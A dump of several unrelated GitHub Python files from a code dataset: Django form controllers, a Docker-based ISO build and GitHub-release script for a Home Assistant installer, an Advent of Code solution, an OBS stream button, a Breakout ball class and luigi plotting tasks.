MyParamList()\n\n context = get_context(request, my_param)\n\n return render(request, 'tethys_django_form_tutorial/list.html', context)\n\n\n@login_required()\ndef select_string(request):\n \"\"\"\n Controller for the app home page.\n \"\"\"\n\n my_param = MyParamFileSelector()\n\n context = get_context(request, my_param)\n\n return render(request, 'tethys_django_form_tutorial/select_string.html', context)\n\n\n@login_required()\ndef multiple_files(request):\n \"\"\"\n Controller for the app home page.\n \"\"\"\n\n my_param = MyParamFileSelector()\n\n context = get_context(request, my_param)\n\n return render(request, 'tethys_django_form_tutorial/multiple_files.html', context)\n\n\n@login_required()\ndef magnitude(request):\n \"\"\"\n Controller for the app home page.\n \"\"\"\n\n my_param = MyParamMagnitude()\n\n context = get_context(request, my_param)\n\n return render(request, 'tethys_django_form_tutorial/magnitude.html', context)\n\n\n@login_required()\ndef number(request):\n \"\"\"\n Controller for the app home page.\n \"\"\"\n\n my_param = MyParamNumber()\n\n context = get_context(request, my_param)\n return render(request, 'tethys_django_form_tutorial/number.html', context)\n\n\n@login_required()\ndef param_string(request):\n \"\"\"\n Controller for the app home page.\n \"\"\"\n\n from django import forms\n from django.forms.widgets import Textarea\n\n widget_map = {\n param.parameterized.String:\n lambda po, p, name: forms.CharField(\n initial=po.inspect_value(name) or p.default,\n widget=Textarea,\n ),\n }\n\n my_param = MyParamString()\n\n if request.method == 'POST':\n form = ParamForm(request.POST, param=my_param, widget_map=widget_map)\n if form.is_valid():\n message = 'Form is valid!'\n success = True\n the_param = form.as_param()\n else:\n message = 'Form is not valid!'\n success = False\n the_param = my_param\n else:\n message = 'Please submit the form.'\n success = None\n the_param = my_param\n form = ParamForm(param=my_param, widget_map=widget_map)\n\n context = {\n 'form': form,\n 'message': message,\n 'success': success,\n 'param': the_param\n }\n\n return render(request, 'tethys_django_form_tutorial/string.html', context)\n\n\n@login_required()\ndef xy_coordinates(request):\n \"\"\"\n Controller for the app home page.\n \"\"\"\n my_param = MyParamXYCoordinates()\n\n context = get_context(request, my_param)\n\n return render(request, 'tethys_django_form_tutorial/xy_coordinates.html', context)\n\n\n@ensure_csrf_cookie\n@login_required()\ndef all_supported(request):\n \"\"\"\n Nathan's testing controller.\n \"\"\"\n class MyParameterized(param.Parameterized):\n enable = param.Boolean(True, doc=\"A sample Boolean parameter\", allow_None=True)\n what_proportion = param.Magnitude(default=0.9)\n age = param.Number(49, bounds=(0, 100), doc=\"Any Number between 0 to 100\")\n how_many = param.Integer()\n favorite_quote = param.String(default=\"Hello, world!\")\n\n choose_file_or_folder = param.Path(search_paths='./')\n choose_folder = param.Foldername(search_paths=\"./\")\n choose_file = param.Filename(search_paths=\"./\")\n select_a_file = param.FileSelector(path='./*')\n select_multiple_files = param.MultiFileSelector(path='./*')\n\n favorite_color = param.ObjectSelector(default=\"green\", objects=[\"red\", \"yellow\", \"green\"])\n favorite_fruit = param.Selector(default=\"Apple\", objects=[\"Orange\", \"Apple\", \"Mango\"])\n select_multiple = param.ListSelector(default=[3, 5], objects=[1, 2, 3, 4, 5])\n\n birthday = param.CalendarDate(dt.date(2017, 1, 1), bounds=(dt.date(2017, 1, 1), dt.date(2017, 2, 1)))\n appointment = param.Date(dt.datetime(2017, 1, 1), bounds=(dt.datetime(2017, 1, 1), dt.datetime(2017, 2, 1)))\n least_favorite_color = param.Color(default='#FF0000')\n dataset = param.DataFrame(pd.util.testing.makeDataFrame().iloc[:3])\n\n this_strange_thing = param.Tuple(default=(False,), allow_None=True)\n some_numbers = param.NumericTuple(default=(1, 2, 3.0, 4.0))\n home_city = param.XYCoordinates(default=(-111.65, 40.23))\n bounds = param.Range(default=(-10, 10))\n\n my_param = MyParameterized()\n context = get_context(request, my_param)\n\n return render(request, 'tethys_django_form_tutorial/testing.html', context)\n\n\ndef get_context(request, my_param):\n if request.method == 'POST':\n form = ParamForm(request.POST, param=my_param)\n if form.is_valid():\n message = 'Form is valid!'\n success = True\n the_param = form.as_param()\n else:\n message = 'Form is not valid!'\n success = False\n the_param = my_param\n else:\n message = 'Please submit the form.'\n success = None\n the_param = my_param\n form = ParamForm(param=my_param)\n\n context = {\n 'form': form,\n 'message': message,\n 'success': success,\n 'param': the_param\n }\n return context\n","repo_name":"Aquaveo/tethysapp-tethys_django_form_tutorial","sub_path":"tethysapp/tethys_django_form_tutorial/controllers.py","file_name":"controllers.py","file_ext":"py","file_size_in_byte":8488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"23920540593","text":"#!/usr/bin/env python3\n\nimport datetime, pdb\nimport argparse, requests\nimport sys, os, json, hashlib\n\nfrom subprocess import Popen, PIPE\n\nSD = os.path.dirname(os.path.realpath(__file__))\nos.chdir(SD)\n\nOWNER = \"maretodoric\"\nREPO = \"hassio-installer\"\n\nclass color:\n HEADER = '\\033[95m'\n OKBLUE = '\\033[94m'\n OKCYAN = '\\033[96m'\n OKGREEN = '\\033[92m'\n WARNING = '\\033[93m'\n FAIL = '\\033[91m'\n ENDC = '\\033[0m'\n BOLD = '\\033[1m'\n UNDERLINE = '\\033[4m'\n\ndef iprint(m):\n print(f\"{color.OKGREEN}{color.BOLD}>>>{color.ENDC} {m}\")\n\ndef wprint(m):\n print(f\"{color.WARNING}{color.BOLD}>>>{color.ENDC} {m}\")\n\ndef eprint(m):\n print(f\"{color.FAIL}{color.BOLD}>>>{color.ENDC} {m}\")\n\ndef fprint(m, rc=1):\n eprint(m)\n sys.exit(rc)\n\ndef dprint(m):\n if args.verbose:\n print(f\"{color.BOLD}>>> {m}{color.ENDC}\")\n\ndef sh(c, verbose=None):\n if not verbose:\n verbose = args.verbose\n\n try:\n dprint(f\"Running command: {c}\")\n proc = Popen(c.split(), stdout=PIPE, stderr=PIPE)\n if verbose:\n for i in proc.stdout:\n print(i.decode(\"utf-8\"), end='')\n proc.wait()\n rc = proc.poll()\n if rc > 0:\n fprint(f\"Command: {c} finished with exit code: {rc}.\", rc=rc)\n else:\n out, err = proc.communicate()\n rc = proc.poll()\n if rc > 0:\n fprint(f\"Command: {c} failed with exit code: {rc}. Output:\\n{err.decode('utf-8')}\", rc=rc)\n except FileNotFoundError:\n fprint(f\"Command not found: {c.split()[0]}\")\n\ndef getIsoFileName():\n global VERSION\n VERSION=\"test\"\n if args.release or args.release_only:\n dprint(f\"Opening {SD + '/vols/build/aports/custom-scripts/installer.sh'} to extract Release Version...\")\n with open(SD + \"/vols/build/aports/custom-scripts/installer.sh\") as f:\n for i in f:\n if \"export INSTALLER_VERSION\" in i:\n i = i.replace(\"\\n\", \"\")\n dprint(f\"Found line: '{i}', extracting version...\")\n VERSION=i.split(\"=\")[-1].replace('\"','').replace('\\n','')\n break\n if not VERSION or VERSION == \"test\":\n fprint(\"Unable to extract Release Version.\")\n\n isopath=SD + f\"/vols/build/iso/hassio_installer-{VERSION}-x86_64.iso\"\n isoname=f\"hassio_installer-{VERSION}-x86_64.iso\"\n return (isopath, isoname)\n\ndef getGHAuthHeader():\n token = os.getenv(\"GITHUB_MASTER_KEY\")\n dprint(f\"Extracting Github token from Environment Variable, got: {token}\")\n\n if isinstance(token, type(None)):\n if not args.github_token:\n fprint(\"Failed to get github auth token from GITHUB_MASTER_KEY and --github-token not specified\")\n else:\n token = args.github_token\n\n header = { \"Accept\": \"application/vnd.github+json\", \"Authorization\": f\"Bearer {token}\" }\n dprint(f\"Returning header: {header}\")\n return header\n\ndef deleteRelease():\n iprint(\"Deleting latest release, generating GitHub Auth Header\")\n headers=getGHAuthHeader()\n\n latest = requests.get(f\"https://api.github.com/repos/{OWNER}/{REPO}/releases/latest\", headers=headers)\n tag_name = latest.json()[\"tag_name\"]\n rel_id = latest.json()[\"id\"]\n\n iprint(f\"Removing Release ID: {rel_id}\")\n res = requests.delete(f\"https://api.github.com/repos/{OWNER}/{REPO}/releases/{rel_id}\", headers=headers)\n if res.status_code == 204:\n iprint(\"Successfully removed release\")\n else:\n fprint(f\"Failed to remove release, status code: {res.status_code}, reply:\\n{json.dumps(res.json(), indent=4)}\")\n\n res = requests.delete(f\"https://api.github.com/repos/{OWNER}/{REPO}/git/refs/tags/{tag_name}\", headers=headers)\n if res.status_code == 204:\n iprint(\"Successfully removed tag\")\n else:\n fprint(f\"Failed to remove tag, status code: {res.status_code}, reply:\\n{json.dumps(res.json(), indent=4)}\")\n\ndef release():\n iprint(\"Creating release, generating GitHub Auth Header...\")\n headers=getGHAuthHeader()\n dprint(f\"Obtained headers:\\n{color.ENDC}{json.dumps(headers, indent=4)}\")\n rnfile = \"release_notes.txt\"\n iprint(\"Getting file and version name\")\n isopath, isoname = getIsoFileName()\n global VERSION\n dprint(f\"Obtained file name: {isoname} and release version: {VERSION}\")\n\n if not os.path.exists(isopath):\n fprint(f\"ISO Image does not exist at path: {isopath}\")\n \n if os.path.exists(\"CHANGELOG.md\") and not os.path.exists(rnfile):\n dprint(\"Found CHANGELOG.md, using it as a stub for release notes.\")\n sh(f\"cp CHANGELOG.md {rnfile}\")\n\n input(f\"Upon pressing ENTER, vim editor will open {rnfile} that you can edit which will be used as release notes.\")\n os.system(f\"vim {rnfile}\")\n\n # Exit if release notes file does not exist, this means that CHANGELOG.md does not exist an changes were not saved in previous editor.\n if not os.path.exists(rnfile):\n fprint(\"Release Notes file does not exists! Exiting.\")\n else:\n with open(rnfile) as f:\n body = f.read()\n\n iprint(\"Creating request body\")\n payload = {\n \"tag_name\": VERSION,\n \"target_commitish\": \"main\",\n \"name\": f\"Release {VERSION}\",\n \"body\": body,\n \"draft\": False,\n \"prerelease\": False,\n \"generate_release_notes\": False\n }\n dprint(f\"Request body:\\n{json.dumps(payload, indent=4)}\")\n iprint(\"Sending payload to GitHub...\")\n release = requests.post(f\"https://api.github.com/repos/{OWNER}/{REPO}/releases\", headers=headers, json=payload)\n if release.status_code == 201:\n upload_url = release.json()[\"upload_url\"].replace(\"{?name,label}\",\"\")\n release_id = release.json()[\"id\"]\n html_url = release.json()[\"html_url\"]\n\n # Load iso file\n dprint(\"Loading ISO Image to buffer...\")\n sha256_hash = hashlib.sha256()\n with open(isopath, \"rb\") as f:\n isoasset = f.read()\n dprint(\"Calculating sha256 hash...\")\n f.seek(0)\n f.flush()\n for byte_block in iter(lambda: f.read(4096),b\"\"):\n sha256_hash.update(byte_block)\n\n dprint(f\"Creating hash file with value: {sha256_hash.hexdigest()}\")\n with open(isopath + \".sha256\", \"w\") as f:\n f.write(sha256_hash.hexdigest())\n\n with open(isopath + \".sha256\", \"rb\") as f:\n shaasset = f.read()\n\n iprint(f\"Release with ID: {release_id} and version: {VERSION} successfully created! Pushing ISO Image...\")\n dprint(f\"Pushing ISO Image using URL: {upload_url}\")\n asset = requests.post(upload_url + f\"?name={isoname}\", headers={ \"Authorization\": headers[\"Authorization\"], \"Content-Type\": \"application/octet-stream\" }, data=isoasset)\n shaasset = requests.post(upload_url + f\"?name={isoname}.sha256\", headers={ \"Authorization\": headers[\"Authorization\"], \"Content-Type\": \"text/plan\" }, data=shaasset)\n if asset.status_code == 201:\n iprint(f\"Asset successfully uploaded, link to release: {html_url}\")\n else:\n eprint(f\"Failed to upload ISO Image as Asset! Response:\\n{json.dumps(asset.json(), indent=4)}\")\n requests.delete(f\"https://api.github.com/repos/{OWNER}/{REPO}/releases/{release_id}\", headers=headers)\n requests.delete(f\"https://api.github.com/repos/{OWNER}/{REPO}/git/refs/tags/{VERSION}\", headers=headers)\n iprint(\"Falling back created release.\")\n sys.exit(1)\n else:\n fprint(f\"Failed to create release! Response:\\n{color.ENDC}{json.dumps(release.json(), indent=4)}\")\n\n os.remove(rnfile)\n\ndef buildIso():\n if args.release:\n VARS=\"-e RELEASE=1\"\n msg = \"Started building Tagged ISO image and publish release...\"\n else:\n VARS=\"\"\n msg = \"Started building ISO image ...\"\n\n _cmd = f\"docker run -it --rm -v {SD}/vols/build:/build -v {SD}/vols/tmp:/tmp -a STDOUT -a STDERR {VARS} alpine-build-iso {cmd}\"\n if cmd:\n iprint(\"Custom command requested, not automatically building ISO\")\n sys.exit(os.system(_cmd))\n else:\n iprint(msg)\n\n start = datetime.datetime.now()\n sh(_cmd)\n if not cmd:\n end = datetime.datetime.now() - start\n iprint(f\"Build time took: {end}\")\n\n isopath, isoname = getIsoFileName()\n if not os.path.exists(isopath):\n fprint(f\"Unable to find ISO at path: {isopath}, build possibly failed\")\n\n # Handle --send-to argument\n if args.upload_to:\n if \":\" in args.upload_to:\n host = args.upload_to\n else:\n host = args.upload_to + \":\"\n\n iprint(f\"Upload of ISO Image to remote host requested, sending to {host}\")\n sh(f\"scp {isopath} {host}\")\n\n if args.release:\n release()\n\nparser = argparse.ArgumentParser(description=\"Helper script to build docker image for building ISO, and for building ISO itself\")\nparser.add_argument(\"--build-dockerimage\", dest=\"build_dockerimage\", action=\"store_true\", help=\"Created docker image that is used for building ISO\")\nparser.add_argument(\"--build-iso\", dest=\"build_iso\", action=\"store_true\", help=\"Build Home Assistant Installer OS - Make sure image is created. This is default, however needs to be specified if you with to build ISO after running --build-dockerimage\")\nparser.add_argument(\"--rm\", dest=\"remove\", action=\"store_true\", help=\"Will remove ISO Image after creation\")\nparser.add_argument(\"--send-to\", \"--upload-to\", dest=\"upload_to\", type=str, help=\"Sends ISO Image to selected host, you can use user@host or just host - will use SCP and honor ~/.ssh/config\")\nparser.add_argument(\"--release\", dest=\"release\", action=\"store_true\", help=\"This will build and tag the ISO with version instead of 'test'. Version will be used from vols/build/aports/custom-scripts/installer.sh\")\nparser.add_argument(\"--release-only\", dest=\"release_only\", action=\"store_true\", help=\"This will only publish release to GitHub, will not build ISO. Expects that ISO is already created\")\nparser.add_argument(\"--delete-latest-release\", dest=\"delete_latest\", action=\"store_true\", help=\"This will delete the latest release in github\")\nparser.add_argument(\"--cmd\", dest=\"cmd\", nargs=\"*\", default=\"\", help=\"Command to execute inside container, does not actually build ISO unless manual build is triggered inside container.\")\nparser.add_argument(\"--fix-perms\", dest=\"fix_perms\", action=\"store_true\", help=\"Fix permissions for volume in case you have those errors\")\nparser.add_argument(\"-v\", \"--verbose\", dest=\"verbose\", action=\"store_true\", help=\"Show verbose output\")\nargs = parser.parse_args()\n\n# Make sure cmd is propery formatted\nif isinstance(args.cmd, list):\n cmd = \" \".join(args.cmd)\nelse:\n cmd = \"\"\n\n# Handle --build-dockerimage arg\nif args.build_dockerimage:\n iprint(\"Building Docker Image...\")\n sh(\"docker build -t alpine-build-iso .\")\n\n# Handle --fix-perms\nif args.fix_perms:\n iprint(\"Fixing permissions\")\n sh(f\"chmod -v 777 {SD}/vols/tmp\", verbose=True)\n sh(f\"chown -cR 1000:300 {SD}/vols/build\", verbose=True)\n\nif args.delete_latest:\n deleteRelease()\n iprint(\"Script will exit now, please re-run if you need to create new release or re-build the ISO\")\n sys.exit(0)\n\nif args.release_only:\n release()\nelif args.build_dockerimage:\n if args.build_iso:\n buildIso()\nelse:\n buildIso()\n\n# Handle --rm argument\nif args.remove:\n iprint(\"Auto-removal of created ISO requested, removing ...\")\n os.remove(getIsoFileName()[1])\n\niprint(\"Work completed\")\n","repo_name":"maretodoric/hassio-installer","sub_path":"build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":11574,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"13143163106","text":"# Advent of code day 3 2022\n# https://adventofcode.com/2022/day/3\nprint(\"Advent of code day 3 2022\\n\")\n\n\nclass Task:\n def __init__(self):\n # Set variables\n self.backpacks = []\n self.groups = []\n self.priority_lst = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n self.priority_sum, self.new_priority_sum = 0, 0\n\n self.file_open()\n self.calculate_priority()\n self.create_groups()\n self.calculate_new_priority()\n\n # Print out\n print(\"[PART I]\")\n print(f\"Priority sum: {self.priority_sum}\\n\")\n\n print(\"[PART II]\")\n print(f\"Priority sum: {self.new_priority_sum}\")\n\n # Open file\n def file_open(self):\n with open(\"./input/day_3.in\", \"r\") as f:\n self.backpacks = [line for line in f.read().split(\"\\n\")]\n\n # Calculate priority\n def calculate_priority(self):\n # Loop through every backpack\n for backpack in self.backpacks:\n compartments = [backpack[: (len(backpack) // 2)], backpack[(len(backpack) // 2) :]]\n\n duplic = list(set(compartments[0]) & set(compartments[1]))[0] # Get duplicated item\n self.priority_sum += self.priority_lst.index(duplic) + 1 # Add to sum\n\n # Create groups\n def create_groups(self):\n # Loop through every backpack\n for i in range(0, len(self.backpacks), 3):\n duplic = list(set(self.backpacks[i]) & set(self.backpacks[i + 1]) & set(self.backpacks[i + 2]))[0] # Get duplicated item\n self.groups.append(duplic) # Add to group or create a new one\n\n # Calculate priority\n def calculate_new_priority(self):\n for group in self.groups:\n self.priority_sum += self.priority_lst.index(group) + 1\n\n\n# Run\nif __name__ == \"__main__\":\n Task()\n","repo_name":"Bartek-M/Advent-Of-Code","sub_path":"2022/day_3.py","file_name":"day_3.py","file_ext":"py","file_size_in_byte":1804,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"939399684","text":"from buttons.button import ButtonBase\nfrom gadgets.obs import Obs\nfrom store import store\n\n\nclass WordsButton(ButtonBase):\n\n def __init__(self, obs: Obs):\n super().__init__()\n self.obs = obs\n self.on = False\n self.image = self._icon()\n\n def _icon(self):\n if self.on:\n return self.render_icon(\"align-left\", \"green\")\n return self.render_icon(\"align-left\")\n\n def on_press(self):\n self.on = not self.on\n print(f\"on = {self.on}\")\n store.words_showed.value = self.on\n if self.on:\n self.obs.show_projector()\n else:\n self.obs.hide_projector()\n self.image = self._icon()\n","repo_name":"renagaev/streaming-scripts","sub_path":"buttons/WordsButton.py","file_name":"WordsButton.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"38674614844","text":"\"\"\"\nISPPJ1 2023\nStudy Case: Breakout\n\nAuthor: Alejandro Mujica\nalejandro.j.mujic4@gmail.com\n\nThis file contains the class Ball.\n\"\"\"\nimport random\n\nimport pygame\n\nimport settings\n\n\nclass Ball:\n def __init__(self, x: int, y: int) -> None:\n self.x = x\n self.y = y\n self.width = 8\n self.height = 8\n\n self.vx = 0\n self.vy = 0\n\n self.texture = settings.TEXTURES[\"spritesheet\"]\n self.frame = random.randint(0, 6)\n self.in_play = True\n\n def get_collision_rect(self) -> pygame.Rect:\n return pygame.Rect(self.x, self.y, self.width, self.height)\n\n def solve_world_boundaries(self) -> None:\n r = self.get_collision_rect()\n\n if r.left < 0:\n settings.SOUNDS[\"wall_hit\"].stop()\n settings.SOUNDS[\"wall_hit\"].play()\n self.x = 0\n self.vx *= -1\n elif r.right > settings.VIRTUAL_WIDTH:\n settings.SOUNDS[\"wall_hit\"].stop()\n settings.SOUNDS[\"wall_hit\"].play()\n self.x = settings.VIRTUAL_WIDTH - self.width\n self.vx *= -1\n elif r.top < 0:\n settings.SOUNDS[\"wall_hit\"].stop()\n settings.SOUNDS[\"wall_hit\"].play()\n self.y = 0\n self.vy *= -1\n elif r.top > settings.VIRTUAL_HEIGHT:\n settings.SOUNDS[\"hurt\"].play()\n self.in_play = False\n\n def update(self, dt: float) -> None:\n self.x += self.vx * dt\n self.y += self.vy * dt\n\n def render(self, surface):\n surface.blit(\n self.texture, (self.x, self.y), settings.FRAMES[\"balls\"][self.frame]\n )\n","repo_name":"R3mmurd/VideoGameProgramming","sub_path":"3.2-breakout/breakout06/src/Ball.py","file_name":"Ball.py","file_ext":"py","file_size_in_byte":1625,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"3"} +{"seq_id":"70940727123","text":"\"\"\"\nluigi Tasks for running plotting pipeline on rectangular domain datasets\n\"\"\"\nfrom pathlib import Path\n\nimport luigi\nimport matplotlib.image as mpimg\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport xarray as xr\n\nfrom ....data.dataset import SceneBulkProcessingBaseTask, TripletDataset\nfrom ....data.sources.satellite import tiler\nfrom ....data.sources.satellite.rectpred import MakeRectRGBImage\nfrom ....pipeline import XArrayTarget\nfrom .data import DatasetImagePredictionMapData\nfrom .transform import DatasetEmbeddingTransform\n\n\nclass ComponentsAnnotationMapImage(luigi.Task):\n input_path = luigi.Parameter()\n components = luigi.ListParameter(default=[0, 1, 2])\n src_data_path = luigi.Parameter()\n col_wrap = luigi.IntParameter(default=2)\n\n def run(self):\n da_emb = xr.open_dataarray(self.input_path)\n\n da_emb.coords[\"pca_dim\"] = np.arange(da_emb.pca_dim.count())\n\n da_emb = da_emb.assign_coords(\n x=da_emb.x / 1000.0,\n y=da_emb.y / 1000.0,\n explained_variance=np.round(da_emb.explained_variance, 2),\n )\n da_emb.x.attrs[\"units\"] = \"km\"\n da_emb.y.attrs[\"units\"] = \"km\"\n\n img, img_extent = self.get_image(da_emb=da_emb)\n\n img_extent = np.array(img_extent) / 1000.0\n\n # find non-xy dim\n d_not_xy = next(filter(lambda d: d not in [\"x\", \"y\"], da_emb.dims))\n\n N_subplots = len(self.components) + 1\n data_r = 3.0\n ncols = self.col_wrap\n size = 3.0\n\n nrows = int(np.ceil(N_subplots / ncols))\n figsize = (int(size * data_r * ncols), int(size * nrows))\n\n fig, axes = plt.subplots(\n figsize=figsize,\n nrows=nrows,\n ncols=ncols,\n subplot_kw=dict(aspect=1),\n sharex=True,\n )\n\n ax = axes.flatten()[0]\n ax.imshow(img, extent=img_extent)\n ax.set_title(da_emb.scene_id.item())\n\n for n, ax in zip(self.components, axes.flatten()[1:]):\n ax.imshow(img, extent=img_extent)\n da_ = da_emb.sel(**{d_not_xy: n})\n da_ = da_.drop([\"i0\", \"j0\", \"scene_id\"])\n\n da_.plot.imshow(ax=ax, y=\"y\", alpha=0.5, add_colorbar=False)\n\n ax.set_xlim(*img_extent[:2])\n ax.set_ylim(*img_extent[2:])\n\n [ax.set_aspect(1) for ax in axes.flatten()]\n [ax.set_xlabel(\"\") for ax in axes[:-1, :].flatten()]\n\n plt.tight_layout()\n\n fig.text(\n 0.0,\n -0.02,\n \"cum. explained variance: {}\".format(\n np.cumsum(da_emb.explained_variance.values)\n ),\n )\n\n Path(self.output().fn).parent.mkdir(exist_ok=True, parents=True)\n plt.savefig(self.output().fn, bbox_inches=\"tight\")\n plt.close(fig)\n\n def get_image(self, da_emb):\n raise NotImplementedError\n\n def output(self):\n image_fullpath = Path(self.input_path)\n src_path, src_fn = image_fullpath.parent, image_fullpath.name\n\n fn_out = src_fn.replace(\n \".nc\",\n \".map.{}__comp.png\".format(\"_\".join([str(v) for v in self.components])),\n )\n\n p = Path(src_path) / fn_out\n\n return luigi.LocalTarget(str(p))\n\n\nclass DatasetComponentsAnnotationMapImage(ComponentsAnnotationMapImage):\n dataset_path = luigi.Parameter()\n step_size = luigi.Parameter()\n model_path = luigi.Parameter()\n scene_id = luigi.Parameter()\n transform_type = luigi.OptionalParameter()\n transform_extra_args = luigi.OptionalParameter()\n pretrained_transform_model = luigi.OptionalParameter(default=None)\n components = luigi.ListParameter(default=[0, 1, 2])\n crop_img = luigi.BoolParameter(default=False)\n\n def requires(self):\n if self.transform_type is None:\n return DatasetImagePredictionMapData(\n dataset_path=self.dataset_path,\n scene_id=self.scene_id,\n model_path=self.model_path,\n step_size=self.step_size,\n )\n else:\n return DatasetEmbeddingTransform(\n dataset_path=self.dataset_path,\n scene_id=self.scene_id,\n model_path=self.model_path,\n step_size=self.step_size,\n transform_type=self.transform_type,\n transform_extra_args=self.transform_extra_args,\n pretrained_model=self.pretrained_transform_model,\n )\n\n @property\n def input_path(self):\n return self.input().fn\n\n @property\n def src_data_path(self):\n return self.dataset_path\n\n def get_image(self, da_emb):\n img_path = (\n MakeRectRGBImage(dataset_path=self.dataset_path, scene_id=self.scene_id)\n .output()\n .fn\n )\n\n if self.crop_img:\n return _get_img_with_extent_cropped(da_emb, img_path)\n else:\n return _get_img_with_extent(\n da_emb=da_emb, img_fn=img_path, dataset_path=self.dataset_path\n )\n\n def output(self):\n model_name = Path(self.model_path).name.replace(\".pkl\", \"\")\n\n fn = \"{}.{}_step.{}_transform.map.{}__comp.png\".format(\n self.scene_id,\n self.step_size,\n self.transform_type,\n \"_\".join([str(v) for v in self.components]),\n )\n\n p_root = Path(self.dataset_path) / \"embeddings\" / \"rect\" / model_name\n\n if self.pretrained_transform_model is not None:\n p = p_root / self.pretrained_transform_model / \"components_map\" / fn\n else:\n p = p_root / \"components_map\" / fn\n return XArrayTarget(str(p))\n\n\nclass AllDatasetComponentAnnotationMapImages(SceneBulkProcessingBaseTask):\n model_path = luigi.Parameter()\n step_size = luigi.Parameter()\n transform_type = luigi.OptionalParameter()\n pretrained_transform_model = luigi.OptionalParameter(default=None)\n components = luigi.ListParameter(default=[0, 1, 2])\n\n TaskClass = DatasetComponentsAnnotationMapImage\n\n def _get_task_class_kwargs(self):\n return dict(\n model_path=self.model_path,\n step_size=self.step_size,\n transform_type=self.transform_type,\n pretrained_transform_model=self.pretrained_transform_model,\n components=self.components,\n )\n\n\nclass RGBAnnotationMapImage(luigi.Task):\n input_path = luigi.Parameter()\n rgb_components = luigi.ListParameter(default=[0, 1, 2])\n src_data_path = luigi.Parameter()\n render_tiles = luigi.BoolParameter(default=False)\n\n def make_plot(self, da_emb):\n return make_rgb_annotation_map_image(\n da=da_emb,\n rgb_components=self.rgb_components,\n dataset_path=self.dataset_path,\n )\n\n def run(self):\n da_emb = xr.open_dataarray(self.input_path)\n fig, axes = self.make_plot(da_emb=da_emb)\n\n Path(self.output().fn).parent.mkdir(exist_ok=True, parents=True)\n plt.savefig(self.output().fn, fig=fig, bbox_inches=\"tight\")\n\n def output(self):\n image_fullpath = Path(self.input_path)\n src_path, src_fn = image_fullpath.parent, image_fullpath.name\n\n fn_out = src_fn.replace(\n \".nc\",\n \".rgb_map.{}__comp.png\".format(\n \"_\".join([str(v) for v in self.rgb_components])\n ),\n )\n\n p = Path(src_path) / fn_out\n\n return luigi.LocalTarget(str(p))\n\n\nclass DatasetRGBAnnotationMapImage(RGBAnnotationMapImage):\n dataset_path = luigi.Parameter()\n step_size = luigi.Parameter()\n model_path = luigi.Parameter()\n scene_id = luigi.Parameter()\n transform_type = luigi.OptionalParameter(default=None)\n transform_extra_args = luigi.OptionalParameter(default=None)\n pretrained_transform_model = luigi.OptionalParameter(default=None)\n rgb_components = luigi.ListParameter(default=[0, 1, 2])\n crop_img = luigi.BoolParameter(default=False)\n\n def requires(self):\n if self.transform_type is None:\n return DatasetImagePredictionMapData(\n dataset_path=self.dataset_path,\n scene_id=self.scene_id,\n model_path=self.model_path,\n step_size=self.step_size,\n )\n else:\n return DatasetEmbeddingTransform(\n dataset_path=self.dataset_path,\n scene_id=self.scene_id,\n model_path=self.model_path,\n step_size=self.step_size,\n transform_type=self.transform_type,\n transform_extra_args=self.transform_extra_args,\n pretrained_model=self.pretrained_transform_model,\n # n_clusters=max(self.rgb_components)+1, TODO: put into transform_extra_args\n )\n\n def run(self):\n dataset = TripletDataset.load(self.dataset_path)\n da_emb = xr.open_dataarray(self.input_path)\n\n N_tile = (256, 256)\n model_resolution = da_emb.lx_tile / N_tile[0] / 1000.0\n domain_rect = dataset.extra[\"rectpred\"][\"domain\"]\n lat0, lon0 = domain_rect[\"lat0\"], domain_rect[\"lon0\"]\n\n title_parts = [\n self.scene_id,\n \"(lat0, lon0)=({}, {})\".format(lat0, lon0),\n \"{} NN model, {} x {} tiles at {:.2f}km resolution\".format(\n self.model_path.replace(\".pkl\", \"\"),\n N_tile[0],\n N_tile[1],\n model_resolution,\n ),\n \"prediction RGB from {} components [{}]\".format(\n da_emb.transform_type, \", \".join([str(v) for v in self.rgb_components])\n ),\n ]\n if self.transform_extra_args:\n title_parts.append(self.requires()._build_transform_identifier())\n title = \"\\n\".join(title_parts)\n\n fig, axes = self.make_plot(da_emb=da_emb)\n fig.suptitle(title, y=1.05)\n\n Path(self.output().fn).parent.mkdir(exist_ok=True, parents=True)\n plt.savefig(self.output().fn, fig=fig, bbox_inches=\"tight\")\n\n @property\n def input_path(self):\n return self.input().fn\n\n @property\n def src_data_path(self):\n return self.dataset_path\n\n def output(self):\n model_name = Path(self.model_path).name.replace(\".pkl\", \"\")\n\n fn_parts = [\n self.scene_id,\n f\"{self.step_size}_step\",\n \"rgb_map\",\n \"{}__comp\".format(\"_\".join([str(v) for v in self.rgb_components])),\n ]\n\n if self.transform_type:\n fn_parts.insert(2, self.requires()._build_transform_identifier())\n\n fn = f\"{'.'.join(fn_parts)}.png\"\n\n p_root = Path(self.dataset_path) / \"embeddings\" / \"rect\" / model_name\n if self.pretrained_transform_model is not None:\n p = p_root / self.pretrained_transform_model / fn\n else:\n p = p_root / fn\n return XArrayTarget(str(p))\n\n\nclass AllDatasetRGBAnnotationMapImages(SceneBulkProcessingBaseTask):\n model_path = luigi.Parameter()\n step_size = luigi.Parameter()\n transform_type = luigi.OptionalParameter()\n transform_extra_args = luigi.OptionalParameter(default=None)\n pretrained_transform_model = luigi.OptionalParameter(default=None)\n rgb_components = luigi.ListParameter(default=[0, 1, 2])\n\n TaskClass = DatasetRGBAnnotationMapImage\n\n def _get_task_class_kwargs(self):\n return dict(\n model_path=self.model_path,\n step_size=self.step_size,\n transform_type=self.transform_type,\n transform_extra_args=self.transform_extra_args,\n pretrained_transform_model=self.pretrained_transform_model,\n rgb_components=self.rgb_components,\n )\n","repo_name":"florentbrient/convml_tt_internship","sub_path":"convml_tt/interpretation/rectpred/pipeline/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":11666,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} 